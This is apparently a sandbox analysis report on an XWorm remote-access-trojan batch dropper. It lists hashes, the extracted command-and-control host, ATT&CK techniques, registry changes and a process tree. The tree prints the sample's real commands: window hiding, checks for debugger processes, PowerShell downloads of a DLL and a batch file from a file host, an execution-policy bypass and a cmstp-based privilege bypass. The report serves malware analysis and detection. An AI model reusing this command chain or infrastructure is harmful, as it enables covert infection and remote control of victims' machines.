xworm | 87913ff2c6fabe85812bbc7691a8773cb4842557699151d63fe492f2420fc567

Analysis

max time kernel
59s
max time network
63s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
02/03/2025, 19:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

wB30XU8F.bat
Size

12KB
MD5

9db325d6143da09edc4e1fe41b152e71
SHA1

cfc1af0130d50fb88d173ebcecaa3f0b16e1f1d4
SHA256

87913ff2c6fabe85812bbc7691a8773cb4842557699151d63fe492f2420fc567
SHA512

3a49d024aca27d1044b9874b1726354a4c002965be3b890a74024ae9a6196ec31df4a8854d1c058c70b6ccd98b0a8b127c323ff0e2dd9d714321ddd362bc0001
SSDEEP

384:CKvwJK8ve177XuvkHs8U06Z+a/PXA3P4uxc7Q7/WlAnY1e++ptdy:TwU1nXFs8UF+aQuQYOceZjy

Score

10^/10

xworm defense_evasion discovery execution rat trojan

Malware Config

Extracted

Family

xworm

county-ideal.gl.at.ply.gg:36716

Attributes

Install_directory
%AppData%
install_file
SystemUser.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023d81-138.dat	family_xworm
behavioral2/memory/3880-141-0x0000000000F10000-0x0000000000F28000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
23	4500	powershell.exe
25	1884	powershell.exe
32	736	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4500	powershell.exe
1884	powershell.exe
736	powershell.exe
3008	powershell.exe
3784	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
23	4500	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemUser.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemUser.lnk	XClient.exe

Executes dropped EXE 3 IoCs

pid	Process
3880	XClient.exe
924	XClient.exe
4924	XClient.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
27	pastebin.com
26	pastebin.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\11	cmd.exe

Enumerates processes with tasklist 1 TTPs 13 IoCs

discovery

Process Discovery

T1057

pid	Process
932	tasklist.exe
4312	tasklist.exe
5084	tasklist.exe
2216	tasklist.exe
3108	tasklist.exe
1752	tasklist.exe
3252	tasklist.exe
5052	tasklist.exe
4676	tasklist.exe
4572	tasklist.exe
2180	tasklist.exe
3544	tasklist.exe
4476	tasklist.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3516	powershell.exe
2696	powershell.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
956	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2120	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\UpgradeTime = 25f4edda8f81db01	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\Version = "5"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\SuggestionsURL = "http://api.bing.com/qsml.aspx?query={searchTerms}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IESS02&market={language}"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\NTLogoPath = "C:\\Users\\Admin\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\NTLogoURL = "http://go.microsoft.com/fwlink/?LinkID=403856&language={language}&scale={scalelevel}&contrast={contrast}"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\User Preferences\2BB20B33B4171CDAAB6469225AE6A582ED33D7B488 = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000405671fff68845448cd7db2c33d670dc000000000200000000001066000000010000200000004c632f256100e8a1eb39b2607a83a2ea2fc7409e3a1658c41cd4a306c884dd14000000000e800000000200002000000075ee76dd2db1b9cc3631f9b663bfb8fbd70f4664ea1188b436c8457b3285c64810000000be70490ecd6c5b8c2fc02e4c2bf7defe40000000513505431a4d8da4a808a113899290ee6b16954b3d98306ebd96d0a289f73c69fdbe1465f58e7a63aee013adada9e6d008b668fb81f0590c2cc5d6e3362585b7	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{B745AA52-F798-11EF-AD46-DEE92BEEB6C2} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\SuggestionsURLFallback = "http://api.bing.com/qsml.aspx?query={searchTerms}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IESS02&market={language}"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\NTTopResultURL = "http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IENTTR"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Internet Explorer\User Preferences	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\FaviconURLFallback = "http://www.bing.com/favicon.ico"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\FaviconURL = "http://www.bing.com/favicon.ico"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\NTSuggestionsURL = "http://api.bing.com/qsml.aspx?query={searchTerms}&market={language}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IENTSS"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\User Preferences\3DB9590C4C4C26C4CCBDD94ECAD790359708C3267B = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000405671fff68845448cd7db2c33d670dc0000000002000000000010660000000100002000000044bf19e67d42dd7f8c80aa2370e5dd1c0b66985a8e48febbfb10ab2138b99a26000000000e80000000020000200000009b16b748f06ce8cef51bf7c5551b5771775a208bb5820ab8c6ad4fa386fa8e995000000027d251ec48cfe0219bf1eb92bb61033e31e176c85283ffa5c7e7b6e81a37a57565737bd0aeea003be0713627f2359c4da99ca267e434212f88c57252d9806d3349305c378d84d89b80c99f9c951b602e40000000c7be0f67e527ab91e41177acea5b8ea449eb07d60217745a148e9c68642831a8e3e57c5e783d0bccc2813cf3b6a57789ee35c391b428a09669f3e3d154bf6a47	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\DefaultScope = "{0633EE93-D776-472f-A0FF-E1416B8B2E3A}"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\NTURL = "http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IENTSR"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\FaviconPath = "C:\\Users\\Admin\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\URL = "http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IESR02"	iexplore.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3516	powershell.exe
3516	powershell.exe
3516	powershell.exe
4500	powershell.exe
4500	powershell.exe
1884	powershell.exe
1884	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3516	powershell.exe
Token: SeDebugPrivilege	1752	tasklist.exe
Token: SeDebugPrivilege	3252	tasklist.exe
Token: SeDebugPrivilege	932	tasklist.exe
Token: SeDebugPrivilege	5052	tasklist.exe
Token: SeDebugPrivilege	4676	tasklist.exe
Token: SeDebugPrivilege	4572	tasklist.exe
Token: SeDebugPrivilege	2180	tasklist.exe
Token: SeDebugPrivilege	3544	tasklist.exe
Token: SeDebugPrivilege	4312	tasklist.exe
Token: SeDebugPrivilege	4476	tasklist.exe
Token: SeDebugPrivilege	5084	tasklist.exe
Token: SeDebugPrivilege	2216	tasklist.exe
Token: SeDebugPrivilege	3108	tasklist.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeIncreaseQuotaPrivilege	2784	WMIC.exe
Token: SeSecurityPrivilege	2784	WMIC.exe
Token: SeTakeOwnershipPrivilege	2784	WMIC.exe
Token: SeLoadDriverPrivilege	2784	WMIC.exe
Token: SeSystemProfilePrivilege	2784	WMIC.exe
Token: SeSystemtimePrivilege	2784	WMIC.exe
Token: SeProfSingleProcessPrivilege	2784	WMIC.exe
Token: SeIncBasePriorityPrivilege	2784	WMIC.exe
Token: SeCreatePagefilePrivilege	2784	WMIC.exe
Token: SeBackupPrivilege	2784	WMIC.exe
Token: SeRestorePrivilege	2784	WMIC.exe
Token: SeShutdownPrivilege	2784	WMIC.exe
Token: SeDebugPrivilege	2784	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2784	WMIC.exe
Token: SeRemoteShutdownPrivilege	2784	WMIC.exe
Token: SeUndockPrivilege	2784	WMIC.exe
Token: SeManageVolumePrivilege	2784	WMIC.exe
Token: 33	2784	WMIC.exe
Token: 34	2784	WMIC.exe
Token: 35	2784	WMIC.exe
Token: 36	2784	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2784	WMIC.exe
Token: SeSecurityPrivilege	2784	WMIC.exe
Token: SeTakeOwnershipPrivilege	2784	WMIC.exe
Token: SeLoadDriverPrivilege	2784	WMIC.exe
Token: SeSystemProfilePrivilege	2784	WMIC.exe
Token: SeSystemtimePrivilege	2784	WMIC.exe
Token: SeProfSingleProcessPrivilege	2784	WMIC.exe
Token: SeIncBasePriorityPrivilege	2784	WMIC.exe
Token: SeCreatePagefilePrivilege	2784	WMIC.exe
Token: SeBackupPrivilege	2784	WMIC.exe
Token: SeRestorePrivilege	2784	WMIC.exe
Token: SeShutdownPrivilege	2784	WMIC.exe
Token: SeDebugPrivilege	2784	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2784	WMIC.exe
Token: SeRemoteShutdownPrivilege	2784	WMIC.exe
Token: SeUndockPrivilege	2784	WMIC.exe
Token: SeManageVolumePrivilege	2784	WMIC.exe
Token: 33	2784	WMIC.exe
Token: 34	2784	WMIC.exe
Token: 35	2784	WMIC.exe
Token: 36	2784	WMIC.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	736	powershell.exe
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeDebugPrivilege	3880	XClient.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4900	iexplore.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
3008	powershell.exe
3008	powershell.exe
4900	iexplore.exe
4900	iexplore.exe
3360	IEXPLORE.EXE
3360	IEXPLORE.EXE
3360	IEXPLORE.EXE
4900	iexplore.exe
3360	IEXPLORE.EXE
3360	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1152 wrote to memory of 3516	1152	cmd.exe	88
PID 1152 wrote to memory of 3516	1152	cmd.exe	88
PID 3516 wrote to memory of 1460	3516	powershell.exe	89
PID 3516 wrote to memory of 1460	3516	powershell.exe	89
PID 1460 wrote to memory of 1360	1460	csc.exe	90
PID 1460 wrote to memory of 1360	1460	csc.exe	90
PID 1152 wrote to memory of 956	1152	cmd.exe	91
PID 1152 wrote to memory of 956	1152	cmd.exe	91
PID 1152 wrote to memory of 1752	1152	cmd.exe	92
PID 1152 wrote to memory of 1752	1152	cmd.exe	92
PID 1152 wrote to memory of 1124	1152	cmd.exe	93
PID 1152 wrote to memory of 1124	1152	cmd.exe	93
PID 1152 wrote to memory of 652	1152	cmd.exe	94
PID 1152 wrote to memory of 652	1152	cmd.exe	94
PID 1152 wrote to memory of 3252	1152	cmd.exe	96
PID 1152 wrote to memory of 3252	1152	cmd.exe	96
PID 1152 wrote to memory of 3576	1152	cmd.exe	97
PID 1152 wrote to memory of 3576	1152	cmd.exe	97
PID 1152 wrote to memory of 4640	1152	cmd.exe	98
PID 1152 wrote to memory of 4640	1152	cmd.exe	98
PID 1152 wrote to memory of 932	1152	cmd.exe	99
PID 1152 wrote to memory of 932	1152	cmd.exe	99
PID 1152 wrote to memory of 4156	1152	cmd.exe	100
PID 1152 wrote to memory of 4156	1152	cmd.exe	100
PID 1152 wrote to memory of 4564	1152	cmd.exe	101
PID 1152 wrote to memory of 4564	1152	cmd.exe	101
PID 1152 wrote to memory of 5052	1152	cmd.exe	102
PID 1152 wrote to memory of 5052	1152	cmd.exe	102
PID 1152 wrote to memory of 64	1152	cmd.exe	103
PID 1152 wrote to memory of 64	1152	cmd.exe	103
PID 1152 wrote to memory of 3276	1152	cmd.exe	104
PID 1152 wrote to memory of 3276	1152	cmd.exe	104
PID 1152 wrote to memory of 4676	1152	cmd.exe	107
PID 1152 wrote to memory of 4676	1152	cmd.exe	107
PID 1152 wrote to memory of 2144	1152	cmd.exe	108
PID 1152 wrote to memory of 2144	1152	cmd.exe	108
PID 1152 wrote to memory of 1760	1152	cmd.exe	109
PID 1152 wrote to memory of 1760	1152	cmd.exe	109
PID 1152 wrote to memory of 4572	1152	cmd.exe	110
PID 1152 wrote to memory of 4572	1152	cmd.exe	110
PID 1152 wrote to memory of 3852	1152	cmd.exe	111
PID 1152 wrote to memory of 3852	1152	cmd.exe	111
PID 1152 wrote to memory of 4744	1152	cmd.exe	112
PID 1152 wrote to memory of 4744	1152	cmd.exe	112
PID 1152 wrote to memory of 2180	1152	cmd.exe	113
PID 1152 wrote to memory of 2180	1152	cmd.exe	113
PID 1152 wrote to memory of 4796	1152	cmd.exe	114
PID 1152 wrote to memory of 4796	1152	cmd.exe	114
PID 1152 wrote to memory of 1860	1152	cmd.exe	115
PID 1152 wrote to memory of 1860	1152	cmd.exe	115
PID 1152 wrote to memory of 3544	1152	cmd.exe	116
PID 1152 wrote to memory of 3544	1152	cmd.exe	116
PID 1152 wrote to memory of 5020	1152	cmd.exe	117
PID 1152 wrote to memory of 5020	1152	cmd.exe	117
PID 1152 wrote to memory of 4312	1152	cmd.exe	119
PID 1152 wrote to memory of 4312	1152	cmd.exe	119
PID 1152 wrote to memory of 4280	1152	cmd.exe	120
PID 1152 wrote to memory of 4280	1152	cmd.exe	120
PID 1152 wrote to memory of 3628	1152	cmd.exe	121
PID 1152 wrote to memory of 3628	1152	cmd.exe	121
PID 1152 wrote to memory of 4476	1152	cmd.exe	122
PID 1152 wrote to memory of 4476	1152	cmd.exe	122
PID 1152 wrote to memory of 3960	1152	cmd.exe	123
PID 1152 wrote to memory of 3960	1152	cmd.exe	123

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\wB30XU8F.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$processes = Get-Process cmd -ErrorAction SilentlyContinue; foreach ($process in $processes) { $hwnd = $process.MainWindowHandle; if ($hwnd -ne 0) { Add-Type -TypeDefinition 'using System; using System.Runtime.InteropServices; public class WindowUtils { [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; [WindowUtils]::ShowWindow($hwnd, 0) } }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wqguvtwh\wqguvtwh.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1460
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES47F.tmp" "c:\Users\Admin\AppData\Local\Temp\wqguvtwh\CSC90934E0C39F423E82A519887B276E54.TMP"
      4⤵
      PID:1360
- C:\Windows\system32\sc.exe
  sc query "aga"
  2⤵
  - Launches sc.exe
  PID:956
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:1752
- C:\Windows\system32\findstr.exe
  findstr "ollydbg"
  2⤵
  PID:1124
- C:\Windows\system32\find.exe
  find /I "ollydbg"
  2⤵
  PID:652
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:3252
- C:\Windows\system32\findstr.exe
  findstr "immunity"
  2⤵
  PID:3576
- C:\Windows\system32\find.exe
  find /I "immunity"
  2⤵
  PID:4640
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:932
- C:\Windows\system32\findstr.exe
  findstr "x64dbg"
  2⤵
  PID:4156
- C:\Windows\system32\find.exe
  find /I "x64dbg"
  2⤵
  PID:4564
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:5052
- C:\Windows\system32\findstr.exe
  findstr "windbg"
  2⤵
  PID:64
- C:\Windows\system32\find.exe
  find /I "windbg"
  2⤵
  PID:3276
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:4676
- C:\Windows\system32\findstr.exe
  findstr "ida"
  2⤵
  PID:2144
- C:\Windows\system32\find.exe
  find /I "ida"
  2⤵
  PID:1760
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:4572
- C:\Windows\system32\findstr.exe
  findstr "dbgview"
  2⤵
  PID:3852
- C:\Windows\system32\find.exe
  find /I "dbgview"
  2⤵
  PID:4744
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:2180
- C:\Windows\system32\findstr.exe
  findstr "cdb"
  2⤵
  PID:4796
- C:\Windows\system32\find.exe
  find /I "cdb"
  2⤵
  PID:1860
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:3544
- C:\Windows\system32\findstr.exe
  findstr "cheatengine"
  2⤵
  PID:5020
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:4312
- C:\Windows\system32\findstr.exe
  findstr "apimon"
  2⤵
  PID:4280
- C:\Windows\system32\find.exe
  find /I "apimon"
  2⤵
  PID:3628
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:4476
- C:\Windows\system32\findstr.exe
  findstr "recview"
  2⤵
  PID:3960
- C:\Windows\system32\find.exe
  find /I "recview"
  2⤵
  PID:2252
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:5084
- C:\Windows\system32\findstr.exe
  findstr "softice"
  2⤵
  PID:4916
- C:\Windows\system32\find.exe
  find /I "softice"
  2⤵
  PID:4620
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:2216
- C:\Windows\system32\findstr.exe
  findstr "sandra"
  2⤵
  PID:2236
- C:\Windows\system32\find.exe
  find /I "sandra"
  2⤵
  PID:4764
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:3108
- C:\Windows\system32\findstr.exe
  findstr "w32dasm"
  2⤵
  PID:960
- C:\Windows\system32\find.exe
  find /I "w32dasm"
  2⤵
  PID:1488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "Invoke-Webrequest https://files.catbox.moe/vciwjb.dll -OutFile GetAdmin.dll"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "Invoke-Webrequest https://files.catbox.moe/vopazt.bat -OutFile J8PszkJI.bat"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -File "Bypass.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:3008
- - \??\c:\windows\system32\cmstp.exe
    "c:\windows\system32\cmstp.exe" /au C:\windows\temp\kifeyagw.inf
    3⤵
    PID:216

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\J8PszkJI.bat
1⤵
PID:4008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$processes = Get-Process cmd -ErrorAction SilentlyContinue; foreach ($process in $processes) { $hwnd = $process.MainWindowHandle; if ($hwnd -ne 0) { Add-Type -TypeDefinition 'using System; using System.Runtime.InteropServices; public class WindowUtils { [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; [WindowUtils]::ShowWindow($hwnd, 0) } }"
  2⤵
